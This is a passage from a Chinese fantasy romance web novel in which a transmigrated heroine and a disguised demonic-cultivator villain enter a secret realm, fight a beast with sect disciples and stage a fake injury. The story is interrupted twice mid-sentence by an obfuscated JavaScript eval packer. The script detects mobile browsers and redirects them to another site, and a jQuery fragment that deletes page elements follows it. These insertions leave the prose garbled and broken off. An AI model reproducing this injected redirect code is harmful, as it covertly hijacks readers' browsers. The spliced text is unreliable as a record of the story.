“这就说得通了。”应逢怜适时接过话,“秘境即将现世,其空间壁垒与现实的交界处会产生不稳定的波动和裂隙,有魔物趁此机会从秘境中逃出也不足为奇。” 衡遂思路被彻底打开,立刻道:“这么说来……秘境现世的地方岂非离这块不远?!” 他猛地一握拳,脸上浮现出焦急:“不行!若真是这样,恐怕不止这一头魔物逃出!必须尽快防范,否则周遭城镇的百姓都要遭殃!” 他立刻展现出一个领队应有的决断力,迅速部署:“念之,你即刻动身,前往最近的城池通报此地异状,让他们加强戒备,组织人手巡逻。王师弟、李师妹,你们二人留守客栈,安抚众人,确保大家安全。三师弟,你随我一起,立刻在客栈周边搜寻阴噬魔的踪迹,务必在其再次害人前将其诛灭!” “是!”众人齐声应道,立刻依令行事,不敢怠慢。 临走前,衡遂还特意走到他们面前,言辞恳切地叮嘱道:“应娘子,你们最好留在此处不要四处走动,我的两位师弟师妹会尽力护你们周全的。” 听到衡遂的称谓,应逢怜回头看了一眼缩在他身后的颜悬昭。颜悬昭接收到了他的目光,无辜地眨了眨眼,一副“你不也是这样”的神情。 应逢怜面无表情地收回了目光,对面前的衡遂疏冷道:“多谢关怀,我自会保护好我夫人的。” 颜悬昭也立刻像小鸡啄米般点头附和:“放心吧,我夫君也是有修为傍身的,我们不会有事的。” 哪个魔还能危险得过应逢怜,此刻待在他身边最安全不过了,来一个他吃一个,来两个他吃一双! 见他们有能力自保,衡遂也不再多言,郑重一抱拳,便与三师弟匆匆离去,身影很快消失在客栈门外。 ——— 衡遂一行人离开后约莫过了一炷香的时间,客栈内的紧张气氛稍缓,应逢怜却忽然对颜悬昭道:“随我来。” 说罢,也不多解释,便带着她悄然从客栈后门离开,七拐八绕,来到一片人迹罕至的荒僻野地。 颜悬昭看着荒无人烟的地界,有些纳闷:“我们来这做什么?” “找秘境入口。”应逢怜言简意赅,目光扫过四周环境,“我根据灵力波动以及阴噬魔残留的魔气轨迹推算,秘境入口大致会出现在这个方位。需得在它正式开启前,尽可能精确位置,争取第一时间进入。” 颜悬昭似懂非懂地点了点头:“那需要我做些什么吗?” “拿着这个四周走动,有异动就告诉我。”应逢怜说完,就拿出了一个造型独特、非金非木的仪器递给了她,并补充道,“别离我太远,否则后果自负。” 打发完她,应逢怜自己另寻了一处相对平坦的空地,取出一个布满符文的黑色罗盘,指尖轻点,罗盘上的符文便开始微微颤动起来,他凝神屏息,左手掐决,进行着更精密的推算。 颜悬昭依言接过了古怪的仪器,好奇地摆弄了起来,握着它尝试着往四周走了走,走了半天,也没有什么特别的变化。 百无聊赖之下,她一边机械地移动着脚步,一边在脑海里和系统聊起了天。 【系统,有个问题我一直想不通。按原剧情,应逢怜不是一直活到了大结局吗?怎么你现在又说,必须在这个 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“我听他们说这个秘境凶险至极,我们还是不要趟这个浑水的好。”颜悬昭劝解道。 应逢怜不屑地轻笑了一下:“那是对他们而言。” 喂喂、哥们别狂啊,进去了有得你哭的,这个秘境专门克你啊! 就在她绞尽脑汁,思考还能用什么理由劝阻他时,应逢怜却忽然停下了所有动作,目光锐利地锁定在前方某处空无一物的地面上,低声道:“找到了。” 颜悬昭赶忙跟随着他走到那块位置,却发现空茫茫一片,什么也没有,和别处看起来并无不同。 应逢怜却收起罗盘,蹲下身,以指代笔在地面上画了个标记的符文,符文骤然亮起一瞬猩红的光芒,随即如同水滴渗入沙地般,悄无声息地隐没于地面之下。 “做好准备,”应逢怜站起身,语气不容置疑,“秘境开启就在这几日,时机一到,我们立刻进入。” 看来应逢怜是铁了心要闯这个龙潭虎穴了。 颜悬昭别无他法,想不出任何理由阻止他进入秘境,她犹豫了两秒,伸手拉住了拂袖欲走的应逢怜。 应逢怜脚步一顿,回头望她:“还有什么事?” 颜悬昭仰头看着他,鼓足勇气说道:“你能不能教我修炼?” 应逢怜似乎没料到她会提出这个要求,眉峰微挑,随即冷淡拒绝:“我是魔修,不会正道那些修仙法子。” “那就教我修魔。”颜悬昭毫不犹豫地说道。 应逢怜发出一声短促的冷笑,语气讥诮:“你知道你在说什么吗?” 颜悬昭态度却无比坚定:“无论修仙也好修魔也罢,力量本身并无正邪之分,关键在于使用它的人。如果我能有修为,在关键时候才不会成为你的拖累,能更好地与你并肩作战,保护好你的后背。” 既然还有那1%的生机,她就要拼尽全力去抓住。而力量,是生存最基本的保障。 应逢怜愣了两秒,随即不自在地别过了脸:“就凭你?少在那里说些不知所谓的怪话。” 说完他猛地抽回了手臂,拔腿要走,步履匆匆地好像后头有什么洪水猛兽在追赶。 然而,他快步走了不过两三丈远,脚步又突兀地停了下来。他没有回头,声音隔着一段距离传来,带着点说不清道不明的恼怒:“……不是要学法术吗?还愣在那里做什么?” 颜悬昭原本因为他之前的拒绝而有些失落的心,瞬间被这句话点燃。她眼睛一亮,几乎是小跑着追了上去,凑到他身边,惊喜地追问:“你答应教我啦?!” 应逢怜不语,依旧目不斜视地看着前方,侧脸线条冷硬,没什么表情,好似刚刚一瞬的软化并不存在。 但下一秒系统的提示音就暴露了他: 【反派好感度+10,当前好感度为10。】 21. 入境 秋风卷着几片枯黄的落叶,打着旋儿飘进了空无一人的客栈大堂。 小李下意识像往常当店小二时那样拿起了扫帚,将落叶扫进簸箕里。他的动作很慢,和从前偷懒磨洋工不同,此刻的缓慢里带着一种说不清道不明的留恋。 太阳逐渐下山,落日的余晖透过洞开的客栈大门将光晕洒满大堂的每个角落,目之所及皆染上了一层寂寥的秋色。 地面重新变得一尘不染,他也就将扫帚放回了原位,背起了早已收拾好的行囊。在最后阖上那两扇沉重的木门前,他忍不住再度回望了一眼这个他干了五年活计、也生活了五年的地方。 往昔客栈的大家伙儿在一起的画面还历历在目。闲暇的空档里,他总是会和王哥坐在大堂里谈天吹牛、插诨打科,小宋会默默地坐在门前的石墩子上悠悠地吹奏起他的葫芦丝,张婶偶尔会将后厨里用不完的食材做成几道拿手小菜送过来给大家一起吃,这时候在柜台后算盘打得噼啪响的掌柜就会心疼地叫嚷着要让他们付钱,但最后还是会嘴硬心软地放过他们,给他们破例开一小坛酒…… 回忆在现实面前坍塌,一切化为幻影。如今的大堂里空空如也,曾经摆得满满当当的桌椅板凳早已变卖一空。 人走茶凉,不过如此。 掌柜横死之后,他家人匆匆赶来料理了后事,这客栈也就散了架,伙计们各奔东西,如今只剩下这具偌大的空壳,在郊外的暮色里无声沉寂。 他轻轻叹了口气,收回目光,伸手准备将门关上。就在门扉即将合拢的刹那,一柄泛着银白冷光的剑鞘突兀地伸了进来,抵住了门板,强硬的力道让他无法再推动分毫。 他愕然抬头,对上了一张冷肃陌生的脸庞。来人身后还跟着一群同样衣着的白衣人,目光锐利地扫视着四周,像是在搜寻什么。 持剑的领头人甚至眼风都没给他一个,手腕稍一用力,便将厚重的门板彻底推开,发出“吱呀”一声响,随即一声令下:“搜!” “各、各位大人!”小李下意识地阻拦,“客栈已经关张了,里头什么都没了!” 白衣人们置若罔闻,直接越过他,迅速地进入客栈内部展开搜查。 领头人则走到了他的面前,居高临下地盘问道:“客栈里还有什么人?” 望着面前高大的人,小李瑟缩了一下,怯生生地答道:“官爷,客栈里头已经没人了,现下只有我……” “你看见过什么行迹可疑的人?蒙面、戴幂篱这类的。”他打断他的话,继续追问道。 小李习惯性地挤出一个讨好的笑容,语气谦卑:“大人,咱们这南来北往的游侠客商多,这么打扮的也不少……小的实在记不清啊。” “就这几日,仔细想。”他勒令道。 小李努力回想了一下,在脑海里找到了一个模糊的印象,不太确定地说道:“好像……是有那么一位,总戴着黑色的幂篱,遮得严严实实的,小的都没见过他的正脸……” “他去哪了?现在在何处?”领头人语气一下子急促了起来。 “这……这小人是真不知道啊!”小李苦着脸,“那批客人三天前就都走光了,不知去向……” ———— 古木参天,四周静谧无比,光线穿不透层层叠叠的浓密枝叶,只能隔着叶片留下朦胧的绿意,时不时有莹绿色的光点小虫掠过,为秘境增添了一层诡谲而又神秘的滤镜。 颜悬昭亦步亦趋地跟在应逢怜身后。她依旧没搞明白应逢怜葫芦里卖的什么药,他们已经在秘境里兜兜转转了好几天没有任何进展,而她也没找到那个会置他于死地的“危机”。 “等等!”颜悬昭忽然压低声音,眼疾手快地拉住正要迈步的应逢怜。 应逢怜脚步一顿,略带疑惑地侧头看向她。只见她神色警惕,如临大敌般从旁边折了一根细长的树枝,小心翼翼地拨开地上厚厚的落叶层,从里面捅出一条正在缓缓蠕动的青绿色肥虫。 颜悬昭手腕猛地一抖,迅速将虫子挑飞出去,像是在甩掉什么极其可怕的东西。看到虫子远远落入灌木丛中,她才长长舒出一口气,拍了拍胸口道:“好险、好险……” 应逢怜默默地将自己的手从她手里抽了出来。隔着幂篱都能感受到他的眼眸里写满了“你没事吧?” 接收到他的眼神,颜悬昭深觉自己受到了侮辱,不忿地辩解道:“这叫小心使得万年船,万一这是什么五彩剧毒毛毛虫呢!” “这就是普通的尺蠖。”应逢怜平淡的声音传来,无情地揭露了真相。 “这里是秘境!”颜悬昭一脸严肃,试图向他灌输自己的理论,“我们不能用外面的常识来判断!任何一点疏忽,都可能成为致命的因素!我这是在保护你!” 明明自己是头一回进秘境,她却说得头头是道,仿佛经验老到。 应逢怜简直无话可说。自从进入这秘境,面前这个人就仿佛患上了深度的被害妄想症,只不过幻想的受害对象不是她自己,而是他。 她不是担心他会被突然冒出来的机关暗算,就是担心他突然踩到虫被毒死,就连夜晚他打坐调息时,她还会时不时凑过来探他的鼻息。 她与其担心他,还不如担心一下自己这种修为如何在秘境里活下来吧。真是多管闲事、杞人忧天…… 【叮咚——反派好感度+2,当前好感度12。】 颜悬昭被脑海里突然响起的提示音吓了一跳,她立马扭头看向应逢怜,看到他的嘴角微微翘起了一个细小的弧度,但她刚要细看,那点幅度就消失得无影无踪了,仿佛刚才只是她的一个错觉。 “看什么?继续走。”他一如往常般地冷淡。 “哦。”颜悬昭有气无力地应了一声,拖着步子跟上,手里却把那根树枝攥得更紧了,暗下决心,一定要多帮他把脚下的虫挑干净,说不定就能复刻刚才的“奇迹”。 颜悬昭自认为找到了刷好感度的捷径,一路上不断地为应逢怜“挑虫”,结果不仅好感度毫无动静,反而把应逢怜给惹烦了。 他直接捏了个诀,一道微光闪过,颜悬昭的双手就被无形的力量束缚在了身前。 “你干嘛!松开我!”颜悬昭抗议。 但抗议无效。 她只能举着手垂眉丧眼地跟在应逢怜身后,途中三番两次尝试用他教的法术解开禁锢,却都以失败告终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16471986|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不由得更加沮丧了。 眼看应逢怜越走越远,丝毫没有等她的意思,颜悬昭将心一横,“柔弱”地倒在了地上,嘴里还发出一声夸张的哀鸣:“哎呀!” 应逢怜闻声回头,只见颜悬昭姿态矫揉地卧倒在地,见他看过来,立刻努力挤出一副故作坚强的表情,气若游丝地说:“没、没事……你不用管我,我休息一下就好,你尽管往前走,我跟得上……” 他淡淡地收回目光,果然如她所愿,转身继续“尽管往前走”。 颜悬昭看见他毫不留情地转身就走,顿感真心被辜负,哭诉道:“你怎么还真走了?!你这个没良心的……” 还没哀叹完,就看见应逢怜去而复返,停在她身边,伸手将她拉了起来,语气带着一丝不耐:“有话直说。别搞这些弯弯绕绕的。” 颜悬昭委屈地扁扁嘴,晃了晃被捆的双手:“我累了嘛……而且这样绑着,我更走不动了。” 应逢怜瞥了她一眼,正要抬手解开法术,两道熟悉的声音却从不远处传来—— “应娘子、颜公子!” “昭昭姐!” 颜悬昭抬头一看,竟是衡遂、冯念之那一行人。 冯念之率先快步跑了过来,目光触及颜悬昭被紧缚的双手时,眼中闪过一丝惊讶和疑惑。 怕她误会,颜悬昭急忙开口解释:“我们……我们闹着玩呢!”话音落下的同时,应逢怜手指微动,利落地解开了她手上的禁锢。 重获自由的颜悬昭连忙活动着手腕。冯念之愣了几秒,看着他们俩,脸上突然泛起一丝可疑的红晕,恍然地“哦”了一声。 颜悬昭这才意识到她刚刚的话更加令人误会了,好似她在和应逢怜玩什么羞耻play了。 她张了张嘴打算解释一下,却发现会越描越黑……算了,就当他们俩是孙答应与狂徒吧! 这时衡遂也带着其他人走了上来,他的脸上还是那副温和笑容:“阔别三日,还以为今后没有机会相见了,没想到二位也来到了这里。” 冯念之脸上的红晕还没散尽,也连连点头附和道:“是啊是啊,我们居然又遇见了,真是太有缘分了!” 衡遂适时提议道:“这秘境中危机四伏,不如我们结伴而行,彼此之间也能有个照应,颜公子、应娘子意下如何?” 颜悬昭眼睛一亮,下意识就想答应,话到嘴边才想起要征求应逢怜的意见,连忙将询问的目光投向他。 按照常理,应逢怜绝不会同意。长时间与这些正派弟子同行,暴露风险太大了,而且肯定会干扰他原本的计划。 然而,应逢怜只是略一沉吟,便简短地应道:“好。” 这出乎意料的答复,让颜悬昭都忍不住意外地看了他一眼。 “太好了。”衡遂欣喜道,“颜公子你们二人接下来想去哪块探索,我们……” 他话音未落,旁边茂密的灌木丛中猛地传来一声咆哮,颜悬昭应声看去,还没看清就被应逢怜拎着领子极速后撤了两步。 一股浓烈至极的腥臭风刮过脸侧,她定睛看去,只见一个庞然大物的黑影骤然跃现于他们之中,将他们冲得四散开来。 22. 恶兽 应逢怜拎着颜悬昭,稳稳地落在一棵参天古树前,恰好避开了巨兽骇人的冲击。 颜悬昭惊魂未定,紧紧抓着应逢怜的衣袖,望向不远处的庞然巨物。 它的周身覆盖着厚重的漆黑鳞片,身形似狮,却诡异地长着两个紧密相连的熊脑袋,四只眼球没有眼白皆是一片混浊的漆黑,散发着诡异不祥的气息。 “这、这是什么怪物?!”她声音微颤。 “黑鳞双头狮身熊,”应逢怜的声音依旧平稳,气息未有丝毫紊乱,“一种低阶魔兽,躯壳坚硬无比,徒具蛮力。”语气平淡到仿佛只是在评价一件寻常事物。 于此同时,那狮身熊一击落空,发出一声震耳欲聋的咆哮,腥臭的气浪扑面而来。它浑浊的眼珠转动,立刻锁定了因躲避而落单的人,四足蹬地,猛地冲撞过去! “小心!”衡遂厉喝一声,身形如电,瞬间飞扑而至,一把将吓呆的师弟推开,同时腰间长剑出鞘,“铮”的一声清鸣,剑锋精准地架住了狮身熊猛挥而下的利爪,金戈交击间,冷厉的火星迸溅开来。 狮身熊的巨力让衡遂的双脚微微陷进了地面,他额头青筋暴起,咬紧牙关与狮身兽缠斗着,一边还不忘冷静下令道:“全部人听令,以我为中心,结缚龙阵!” 指令一下,原本因突发状况而略显慌乱的其余几人仿佛瞬间找到了主心骨。同门师兄妹的默契在此刻凸显了出来,他们迅速移动,各自占据一个方位,口中念念有词,同时祭出随身法器,齐齐对准了阵中的巨兽。 光芒自他们手中亮起源源不断地涌入法阵中心。 衡遂见法阵雏形已成,不再硬抗巨兽,灵巧地一个侧身旋步,险险避开再次扫来的利爪,身形向后一跃,精准地落入阵型最后的空缺方位。 甫一落定,他立即剑指法阵核心,口中快速诵念起法阵咒语。下一刻,以他们五人为节点,一个繁复而耀眼的金色光阵骤然亮起,道道金光如同有生命的锁链,自地面伸出,层层缠绕上狮身熊的四肢与躯干,将它狂暴的动作死死束缚在原地。 狮身熊剧烈地挣扎着,嘴里咆哮不断,震得人鼓膜发疼,束缚在他身上的金色链条也随着它的动作不断颤动着,法阵的光芒明灭不定。 颜悬昭看着那光华流转、无需符纸与阵盘便能瞬间成型的法阵,眼睛都直了,满是惊奇与羡慕:“不用提前画好法阵,也能布阵吗?” 应逢怜侧头看了她一眼,竟难得地耐心解释起来:“缚龙阵是束缚阵法的一种,属‘人阵’,成型需五人及以上。威力依赖于施术者自身的修为以及彼此间的配合。任何一环薄弱,阵法效果都会大打折扣。” “那‘符阵’和‘人阵’哪个更厉害?”颜悬昭的求知欲被勾起,趁势追问。 “运用得当,皆可制敌。”应逢怜给了个模糊的答案。或许觉得过于敷衍,他略一停顿,又补充道,“符阵威力稳定,若能提前布置,甚至能越阶制敌,但缺点是需要时间准备,且布下后难以移动,易被察觉。人阵灵活,随时可布阵,但考验施术者间的配合,对施术者的要求也更高,威力波动不定。” 颜悬昭似懂非懂,干脆直接问他:“那你更喜欢用哪种?” “我?”应逢怜几乎不假思索,“符阵。” “为什么?” 应逢怜下意识垂眸,睫羽在眼下处投下淡淡阴影,语气是惯有清冷和疏离:“依靠别人才是最大的变数,我只相信自己。” 此刻,颜悬昭突然觉得自己虽然站到了应逢怜的身边,却仍旧离他很远很远。 应逢怜用重重大山将自己包围,与外隔绝,而颜悬昭又是个不那么走心的愚公。 就在他们谈话间,狮身熊又发出一声巨吼,声浪裹挟着妖力冲击开来,阵中五人身形齐齐一晃,金色的锁链剧烈震颤,光芒迅速黯淡。 衡遂强压下喉头翻涌的气血,心知缚龙阵已难维持,必须速战速决。他眼神一凛,决然喝道:“大家稳住!变——杀阵!” 话音刚落,众人当即变幻方位,强提功力转化阵法。然而,方才的冲击已让大家都受了内伤,此刻强行变阵,每个人都面色苍白,身形微颤,吃力地维持着法阵的消耗。 眼看他们勉力支撑,颜悬昭心中焦急,忍不住拉了拉应逢怜的衣袖,恳求道:“他们快撑不住了!再这样下去会出事的,我们帮帮他们吧!” 应逢怜身形未动,连眼神都未曾偏移一分,反问道:“我为何要帮?” 颜悬昭一哽。她怎么忘了身边这个才不是什么乐于助人的热血青年,而是实打实的冷血无情大魔头。 她试图用他的逻辑劝服他:“你答应和他们同行,不就是为了方便利用他们达成你的目的吗?如果他们死在这里,你的计划怎么办?” 应逢怜却嗤笑一声,语气带着毫不掩饰的轻蔑:“连这等低阶魔兽都应付不了,便没有让我利用的价值。你想救,自己动手。” 颜悬昭被他的话气到了,不再求他。她扫视了一眼焦灼的战况,从衣襟里取出一张符纸和小沓朱砂,咬破手指混合着朱砂在黄纸上飞快地涂写起来。 应逢垂眸瞥了一眼,有些意外。 才短短两日,她竟已将符文结构掌握得如此熟练,下笔流畅,私下定然花了不少功夫练习。 看着她皱巴着脸的认真模样,应逢怜一时间觉得有些好笑,讥讽道:“收一下你那泛滥无用的同情心吧,你能救得了谁?” 他袖手旁观就算了,还在对想要帮忙的她冷嘲热讽,颜悬昭瞬间心头火起,头也不抬地回怼道:“我就是因为有着‘泛滥且无用’的同情心才救下的你!” 此言一出,应逢怜瞬间沉默,幂篱下的神情莫测。 颜悬昭依旧低着头涂涂画画着,突然她的头顶传来了一道声音:“这里画漏了一笔。” 她还没反应过来,声音的主人就伸手越过了她,用他带血的指尖替她补齐了缺漏的一笔。 “念之!!!” “师姐——” 不远处骤然传来惊呼!颜悬昭猛地抬头,只见阵法一角的冯念之猛地喷出一口鲜血,身形摇摇欲坠,显然已到极限。 “我……没事!”冯念之倔强地抹去嘴角血迹,试图重新稳住法力输出,但那惨白的脸色和颤抖的身形昭示着她已是强弩之末。 衡遂等人心急如焚,却因维持阵法无法脱身,只能哑声提醒:“念之(师姐)小心!” 就在此时,被法阵所伤的狮身熊狂性大发,竟不顾周身不断增添的血痕,猛地找准了法阵最薄弱处——冯念之所在方位,顶着密集的剑光法咒,张开血盆大口,带着腥风朝她直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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狮身熊的躯壳无力倒地,那人顺势借力翻身跃下。从开始到结束,不过一息之间,整个过程他始终姿态从容,招式亦是朴素无华,甚至没有用上任何的法术、秘宝,只是简单一挥就取下敌方首级,行云流水得仿佛上街买菜时顺手砍爆了一个西瓜。 应逢怜向她缓步走来,身姿挺拔,信步游庭,他甩了甩剑上的血流,看也不看地就扔回给了一旁的冯念之,而视线始终紧紧地黏在了颜悬昭的脸上。 眼神专注得好似哪管周遭是尸山血海,也分不得他半个眼神,他的眼中天地堪堪只能容纳下一个她。 颜悬昭怔怔地回望他,心脏不受控制地剧烈跳动。 却见他眉头微不可察地蹙了一下,带着几分嫌弃地甩过来一方干净的素白手帕,语气依旧冷淡: “脏死了,擦干净。” 颜悬昭后知后觉地摸向脸颊,触手一片温热黏腻,才发现脸上沾上了狮身熊飞溅的血珠。她慌忙接过手帕,将整张脸埋了进去,胡乱地擦拭着,擦干净后却迟迟不敢抬头,生怕被他看见她擦掉血迹后依旧通红的脸颊。 此刻她宕机的大脑里反复刷屏着—— 擦,这个男人怎么可以这么帅?! 23. 戏精夫妻上线 脸上的热意消退,狂跳的心脏趋于平缓,颜悬昭这才敢将脸从手帕上抬起。 不料她刚一抬眼,便对上应逢怜幂篱后的深邃眼眸,刚刚压下的赧然又悄然浮上脸颊。 她张了张嘴,正想说些什么,却见面前的应逢怜身形微晃,下一瞬,竟直直地朝她这边软倒下来。 颜悬昭吓了一跳,下意识地上前一步,手忙脚乱地撑住他高大的身躯。 这人看着清瘦,分量却着实不轻,压得她一个趔趄,心里忍不住嘀咕:“真是帅不过三秒……” 衡遂等人见状,也立刻围拢过来,七手八脚地帮着她将昏迷不醒的应逢怜搀扶到不远处的一棵古树下,让他靠着粗壮的树干坐下。 颜悬昭甩了甩发酸的手臂,刚想松口气,目光不经意间扫过应逢怜的脸,心猛地一沉——方才一番动作,那幂篱垂下的黑纱不知何时散开了些许,竟露出了他的小半张脸! 完了! 她浑身僵硬,一点点地将视线转向衡遂他们,脑中已经开始飞速思考如何圆场,甚至已经在心里做好了最坏的打算。 然而,预想中的惊疑或厉喝并未出现。衡遂只是微微怔了一下,随即脸上露出些许了然与不忍,甚至还主动伸手,小心翼翼地将那散开的黑纱重新整理好,妥帖地遮掩住应逢怜的面容。 他身旁的冯念之与其他弟子,反应也大致相同,眼神中带着同情,好像并没有认出应逢怜就是通缉令上的人。 颜悬昭正觉奇怪,就听到衡遂语气温和地开口:“娘子莫急,先将颜公子扶稳,容我替他探查一下内息。” 颜悬昭和其余几人上前小心地将应逢怜扶成盘坐的姿势。衡遂在他身后坐下,双掌抵住其背,缓缓渡入灵力,试图探查他体内的情况。 不过片刻,衡遂的眉头便微微蹙起,脸上浮现出困惑:“奇怪?灵力一进入颜公子体内,便如泥牛入海,消散无踪,根本无法循着经脉运行……” 颜悬昭心头一紧。她虽不知晓灵力运作的原理,但也知道这绝非正常现象。 难道应逢怜刚才那一下引动了旧伤,人快不行了? 就因为砍了一头低阶魔兽?这死劫未免也太儿戏了吧! 她越想越慌,也顾不得许多,上前一把抓住应逢怜垂在身侧的手,想搭上他的腕脉,想确认他的状况。 就在她拉过他的手刹那,那只无力垂落的手,极轻、极快地在她掌心捏了一下。 颜悬昭动作一僵,瞬间明了——这家伙是装的。 虽然不知道应逢怜葫芦里卖的什么药,但她还是决定配合他的计划,没有眼泪地干嚎了起来:“相公啊,你醒醒啊……不要丢下我!” 衡遂收回手,面带忧色地看向颜悬昭:“娘子,你可知道颜公子这身体是怎么回事?我试图以灵力助他疗伤,却发现灵力根本无法在他体内留存。” 颜悬昭垂眸,脑子极速运转,再抬眼眸中已盛满哀戚:“此事说来话长。你们也知我们二人家中反对我们在一起,他为了带我私奔,被我父亲出手重伤,经脉受损,至今不能完全恢复……” 周围顿时安静下来,在场的年轻人们脸上都露出了同情与不忍之色,有人甚至轻轻叹息了一声。 颜悬昭假意地擦了擦眼角本就不存在的泪花,暗自赞叹自己编瞎话和演戏的技能真是信手拈来,炉火纯青。 就在这时,应逢怜虚弱地咳嗽了两声,睫羽轻颤,缓缓地睁开了双眼。 他目光涣散地扫过众人,声音气若游丝,带着浓浓的歉意:“抱歉……是在下无能,本想略尽绵力,却不想这破败身子如此不争气,反倒惊扰了诸位……” 那语气中的自责与脆弱,拿捏得恰到好处。 颜悬昭叹为观止,每当她感叹自己演技已经出类拔萃,这位的演技就能登峰造极。 “颜公子,切莫如此说!”衡遂神色一正,急忙打断他,“方才若非你及时出手,念之恐怕已遭遇不测。你是我等的救命恩人,何来惊扰一说?” “是啊,颜公子,”冯念之也连忙附和,脸上满是感激与关切,“我们感激你还来不及呢!你现在感觉如何?身体还有哪块不适?” “我的身体……”应逢怜苦笑了一声,语气落寞,“方才强行催动内力,使得本就破碎的经脉再度受损。如今,怕是再也无法运转灵力了……诸位不必再为我耗费心神……” 应逢怜充分将一个拖着残躯之人的破碎感演绎得淋漓尽致,看得颜悬昭戏瘾大发,决意加入表演,她哭哭啼啼地朝他扑去:“我苦命的相公啊~~~” 应逢怜被她这突如其来的一扑撞得身形微晃,手臂下意识地接住她,身体僵硬了一瞬。众目睽睽下,他只能硬着头皮接过她的戏码,把她往怀里揽了揽,温声安慰道:“昭昭不要为我难过,这都是我的命数……” 颜悬昭得寸进尺,在他怀里不安分地拱了拱,哭得越发“情真意切”。应逢怜忍无可忍,在她后背不轻不重地掐了一把,示意她适可而止。 颜悬昭被掐得“嗷”地一声,刚要反抗,却被他更用力地摁进怀里,动弹不得。 应逢怜一边压制着怀里不安分的“戏精”,一边抬头对众人露出个尴尬而不失礼貌的笑容:“让诸位见笑了。” 从衡遂等人角度看去,颜悬昭正窝在应逢怜怀里低低啜泣,悲伤得不能自已,只觉二人真是伉俪情深,令人动容。 “应娘子真情流露,我等理解。”衡遂善解人意地开口,自己的眼角也有些微微湿润。 应逢怜语气落寞:“在下已是无用之身,若再与诸位同行,恐成累赘。不若就此别过,以免拖累诸位行程。” “好一位清新的绿茶。”颜悬昭在他怀里暗暗吐槽道。 “这怎么行!”冯念之第一个激动地反对,“颜公子你如今伤势加重,更需要人照顾保护,我们怎能在此刻弃你于不顾?” “念之说得对。”衡遂也上前一步,语气坚决地挽留,“颜公子于我等有救命之恩,我们岂能忘恩负义?你的伤势,我们定会想到办法的,天下灵药仙草甚多,总会有治愈之法。” 应逢怜虚弱地叹了口气,面露难色:“想治愈我这伤势需得‘镜月花’入药。只是此花生长之处颇为隐秘,想要找到怕是艰难……” 说罢,他又是一阵撕心裂肺的咳嗽,身形颤抖得如风中残烛。 颜悬昭也抬起头,赶忙道:“是啊,这秘境茫茫,就算找到也会耗费时间良久,我们还是分道扬镳吧,不要耽误你们的行程。” 她现在真心希望,他们不要和应逢怜同行了。否则,以他这种阴人不眨眼的性子,这几只小白兔都难逃敌手。 “颜公子是我们的救命恩人!”冯念之语气郑重,斩钉截铁,“无论如何,我们一定会为你寻来镜月花!” “对!我们一起找!” “人多力量大!” 众人群情激昂,纷纷表态。 应 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脱离了战斗的紧张,这群少年人立刻恢复了活泼的本性,兴致勃勃地分工合作起来。 颜悬昭看着他们朝气蓬勃,充满生机与活力的模样,不由得心生感慨:“青春真好啊……” 自己经历了方才那一番惊吓与折腾,此刻只想瘫倒在地,连根手指头都懒得动了。 “你也不老。”身侧的应逢怜冷不丁开口道。 颜悬昭却一脸深沉:“你不懂,有些人看着年轻,其实心早已沧桑……” 应逢怜:“……” “对了,”颜悬昭终于找到机会问出心中的疑惑,“刚才他们明明看到了你的脸,怎么好像完全没认出你来?” “用了一点小小的障眼法。”应逢怜语气随意,“他们看到的并非我真实容貌。” “那我看到的……”颜悬昭话问到一半,应逢怜忽然转过头来。 幂篱的轻纱无风自动,微微掀起一角,露出的竟是一张布满灼伤疤痕、狰狞崎岖的面容,完全看不出脸的主人的本来样貌。 下一秒,那恐怖的“疤痕脸”消失,应逢怜又恢复了原本的模样:“除了你,旁人看到的,都是刚才那般模样。 “那你干嘛还整天戴着幂篱?”颜悬昭疑惑不解。 “以防万一。”应逢怜淡淡道,“若遇上修为高于我,或身怀特殊破障秘宝之人,这障眼法便不灵了。” 颜悬昭恍然,这人还真是谨慎到了骨子里。 “那你干脆对我也用这障眼法好了!”她忍不住抱怨,“害得我这一路上,为了掩护你这张脸,提心吊胆,生怕被人瞧出端倪!” “我怕用了障眼法,某些蠢货就认不出来人了。”应逢怜语气嫌弃,说罢,他不再理会她,转身朝着正在处理狮身熊的众人走去,“走了,去给你的‘好道友’们帮帮忙。” 颜悬昭愣了一下,才反应过来他是在嘲讽她,立刻小跑着追了上去,不满地抗议:“喂!你把话说清楚!我哪有那么笨?!” 应逢怜没有回头,但幂篱之下,唇角却几不可察地扬起了一个细小的弧度。 颜悬昭跟在他身后,看着他略显轻快的步伐,忽然意识到,不知不觉间,他们俩竟也被这群“愣头青”的鲜活气息所感染,言行举止都不自觉地幼稚了起来。 不过……这样的感觉也不赖。 24. 离群 在众人的齐心协力下,终于在天色完全暗下前找到了一处适合的地方作为营地。篝火很快被架起,跳跃的火焰驱散了林间的寒意,发出噼啪的轻响。 大家围坐在火堆旁,温暖的火光映照着一张张年轻的脸庞,每个人的脸蛋都被烤得暖融融、红扑扑的。 冯念之经过调息,伤势已无大碍,又恢复了往日的活泼。她自告奋勇担任主厨,正认真地翻动着架在火上的兽肉,往上面涂涂抹抹着她的“冯门特制腌料”。衡遂在一旁为她打着下手,默契地给她递着各种瓶瓶罐罐。其余的人则围在旁边说说笑笑着。 颜悬昭趁众人不注意,悄悄溜到不远处树下,正在打坐调息的应逢怜身边。 察觉到她的靠近,应逢怜缓缓睁开眼。只见她神秘兮兮地从袖中摸出一颗莹润的丹药,递到他面前:“快吃,这是念之偷偷给我的,她家族秘制的高阶疗伤灵丹。” 